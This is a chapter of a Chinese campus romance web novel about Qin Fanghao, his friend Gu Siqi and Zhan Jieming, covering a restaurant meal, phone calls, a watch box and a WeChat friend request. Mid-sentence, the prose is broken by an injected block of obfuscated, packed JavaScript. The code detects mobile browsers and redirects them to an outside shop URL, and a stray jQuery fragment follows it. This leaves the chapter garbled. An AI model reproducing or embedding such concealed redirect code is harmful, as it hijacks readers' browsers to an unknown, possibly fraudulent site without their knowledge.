顾思齐带秦方好去了一家常吃的川菜馆。
秦方好在家吃的半饱,这会儿已没什么胃口,象征性地对付两口就放下筷子。
顾思齐辣的满头汗:“好儿,你手机不是没电吗?干嘛一直和别人发消息?”
“早充上了。”秦方好只是在屏幕上打字又删除,并没有发出消息。
“哦,回我消息就没电呗。”
秦方好站起身:“我去打个电话。”
顾思齐怀疑自己听错了,手一抖,刚夹起的麻辣鱼片滑回锅里。
小少爷并不喜欢电话这种交流方式,平时发条长语音他都嫌烦,今天破天荒还要给别人打电话。
秦方好避着顾思齐,走到外边打电话。
前两通没人接,打第三通时才被接起来。
对面沉默,秦方好先问:“你用我给的手机了吗?”
“没有。”
秦方好放桌上的旧手机一直响,詹皆明看那串数字眼熟,才发现手机卡被换了的事。他把卡重新换回自己手机,接了这通电话。
“不用算了,走之前把那些菜放冰箱。”
詹皆明问:“你还要吃?”
秦方好不太确定:“能吃吗?”
“晚上吃一顿没关系。”
“那你放冰箱。”
“好。”
事情交代完,秦方好没挂电话,詹皆明安静等着。
秦方好说:“以后我给你发短信要记得看,我不喜欢打电话。”
“嗯。”
“看了要回。”
“嗯。”
“你有事也可以给我发。”
“嗯。”
詹皆明这么百依百顺,秦方好看不见的尾巴要翘上天。
他唇角弯着:“不说了,朋友喊我吃饭。”
“秦方好。”詹皆明忽然喊,“你还有什么要给我吗?”
“没了,给你你又不要。”
“那算了。”
秦方好心中奇怪,但没问:“我要挂了。”
“嗯。”
秦方好挂断电话,转头看见顾思齐笑眯眯地站在他身后,嘴里跟叼烟似的咬根可乐吸管。秦方好心中升起几分说不上来的心虚,把手机揣进兜往店里走。
“我知道了!”顾思齐追上来,“你小子背着我搞网恋!”
“没恋。”他才不和男的谈恋爱。
顾思齐知道秦方好向来嘴硬,笑着问:“反诈APP下了没?现在可多骗子钓鱼。”
“我钓他还差不多。”
“那你卖车的事儿,不会是被骗钱了吧?”
秦方好不太乐意听:“吃饱有力气说废话了是吧。”
回到餐桌,顾思齐嘴巴安静了一阵,秦方好手机就开始咚咚进消息。
顾思齐:【顶级恋爱脑有多可怕,这十条你中了没?!】
顾思齐:【快转发给你身边的恋爱脑朋友,能救一个是一个!】
顾思齐:【别劝了,他超爱!恋爱脑的男生,真的可怜又活该……】
……
秦方好差点没把筷子掰断,脸色阴沉:“再发拉黑。”
顾思齐不作死了,马上装起忧郁:“好儿,我爸妈可能要离婚了。”
“怎么?就因为叔叔阿姨不是恋爱脑?”
“我说真的!上次回家在书房撞见我爸的代理律师,他手上拿的文件是离婚协议。”顾思齐脸上一片愁云惨淡的,“你说要是他们真离婚了,我跟谁啊?”
秦方好道:“你成年了,可以谁也不跟。”
“那我就跟着你,你是我爹嘛。”
“……”
顾思齐长叹口气:“唉,不聊这些糟心的了,这才刚开学马上就又要考试了。”
这下好了。
一个人的糟心变成两个人的了。
当初这群少爷们能上A大,全是钱砸出来的成绩。金钱变成了一切可以置换的资源,念重点高中、请名师授课、练保密习题,国内顶尖大学就是他们以后出国深造的跳板。
秦项渊和夏晴并不打算送秦方好出国,因此对他现在的成绩格外看中。
可小少爷懒散惯了,没专心听过几堂课,前几个学期的专业课全是低分飘过。
顾思齐问:“好儿,你打算怎么办,不然到时候考试我给你抄抄?”
秦方好反问:“我不要脸?”
“这学期有高数。”顾思齐提醒他,“爱人会离开你,兄弟会背叛你,只有高数不会!高数不会就是不会!”
“……”秦方好确实不会,“那也不抄。”
“行吧,你自求多福。”
-
都会园离A大的直线距离不到三公里。
詹皆明步行回学校,中途绕路进了商场。
商场一楼是琳琅满目的奢侈品专柜,穿着旧T恤的詹皆明和这里格格不入。他迈进一家店里,导购员先通过穿着判断了他的身价,暗暗鄙夷的神色在看见那张脸后又掩饰起来。
导购员假笑迎接:“先生您好,请问需要点什么?”
詹皆明并无局促:“有单卖的首饰盒吗?”
导购重复:“首饰盒?”
詹皆明表情不变:“嗯,放手表的。”
导购员找出几款首饰盒,态度敷衍地随口介绍几句。
詹皆明伸手指向其中一个:“要这个。”
“先生,这款官方售价九千八,符合您的预算吗?”
詹皆明嗯一声,不多话。
他对奢侈品无感,只是需要一个能放秦方好手表的首饰盒。那块表他总有一天会还回去,所以必须好好存放,以后才能完好如初地还给秦方好。
回到寝室,室友都不在,詹皆明拿出首饰盒装好手表,放到了上铺枕边。
下一秒,门被推开。
詹皆明和方淮四目相对,方淮眼露笑意:“詹学长,你回来了。”
“嗯。”
“你昨晚怎么不回寝室?我都给你留了阳台门的。”
“有事情。”
方淮比詹皆明小一届,那届学院寝室不够分配,才被调到了他们这里。
寝室长是个累活,方淮脾气好又是学弟,自然就担下了这差事。他知道詹皆明经常兼职晚归,所以会特地帮他留出阳台门。昨晚詹皆明不回来,也发过消息告知他。
方淮看向地面:“詹学长,你手帕掉了,我帮你捡——”
詹皆明先他一步弯腰捡回手帕:“谢谢。”
方淮笑笑:“这手帕真漂亮,上面还绣着你的名字呢。”
詹皆明将那张用来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629365|206312||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
包手表的手帕随手塞回书包夹层里,垂着眼帘没多看。他拿出手机进微信,在添加朋友页面凭记忆输下一串数字,跳出来个陌生账号。
方淮在旁边问:“詹学长,你下午去图书馆吗?”
“不了,要去趟教务处。”
“老师找吗?”
詹皆明指尖悬停在屏幕上方:“去办学生证。”
“学生证丢了?”方淮很热心,“那要不要我挂校园论坛上问问?看有没有人捡到?”
“谢谢,不用了。”
良久,詹皆明退出页面,点进自己微信的设置页,打开了通过手机号搜索的方式。
以前被各路陌生人骚扰的不厌其烦,他关闭这个功能很久了。
方淮正在收拾去图书馆的书包,瞥见詹皆明站着出神。长身立在光影下,眉眼平静而漆戾,隐晦地掩藏了情绪。
“詹学长,怎么了?”方淮问。
詹皆明转头看来,向下的视线莫名一顿,停留几秒。
方淮不太自在地摸了摸后颈,又问:“詹学长,有什么不对吗?”
詹皆明收回视线:“眼花了。”
方淮走进厕所,往洗手台前的镜子打量了眼,他脖子上好像没什么不对。可刚詹皆明的视线就是停留在这个高度,视野正中心,锁骨窝位置。
眼花?
是把他看成谁了吗?
-
都会园中,秦方好回到公寓,詹皆明已经离开了。
玄关处,他出门踢飞的拖鞋被摆放整齐。厨房干净的没一丝油烟味,剩菜则分门别类放进冰箱里,鸡翅莫名其妙变多。连房间里凌乱的床铺都铺好了,衣裤折的一丝不苟。
秦方好巡逻似的在公寓转了圈。
可除了这几处,其他地方并没有詹皆明涉足的痕迹,包括次卧。
那么问题来了,他昨晚留宿睡的哪里?
总不能睡他旁边吧……
关于昨晚的记忆,秦方好只到他在沙发上睡着这段。绞尽脑汁想了半天,也只能隐约记得詹皆明扶他回房间睡觉的片段,其他什么也想不起来。
秦方好在床上翻来翻去,期间还睡了个午觉,醒过来又想起这事。
思考好饿,该吃晚饭了。
秦方好起床,把詹皆明分装的剩菜一盒盒取出来,然后愣在厨房。
这么多锅碗瓢盆,他怎么知道要用哪个热菜啊!
塑料保鲜盒放进微波炉会爆炸吗?加热过程中会释放有毒物质吗?
万一食物中毒了还能有力气打120吗?
秦方好烦躁地抓起手机,想叫家中阿姨过来一趟。
一看时间都晚上十一点多了,中午米饭吃太多,他午觉都睡晕碳了。
但这个时间点很妙。
秦方好忽然想起詹皆明在深夜回微信消息的模样,于是心血来潮地搜索起他的手机号。意料之外,一个深黑色头像跳了出来,微信名叫做Z,没开朋友圈。
秦方好点击添加,忘了写备注,没想到对面很快通过。
到点了是吗?
就这样来者不拒?
看着空荡洁白的聊天框,秦方好没犹豫,挑了两个表情包发过去。
10x2:小猫探头.jpg
10x2:小猫敲碗.jpg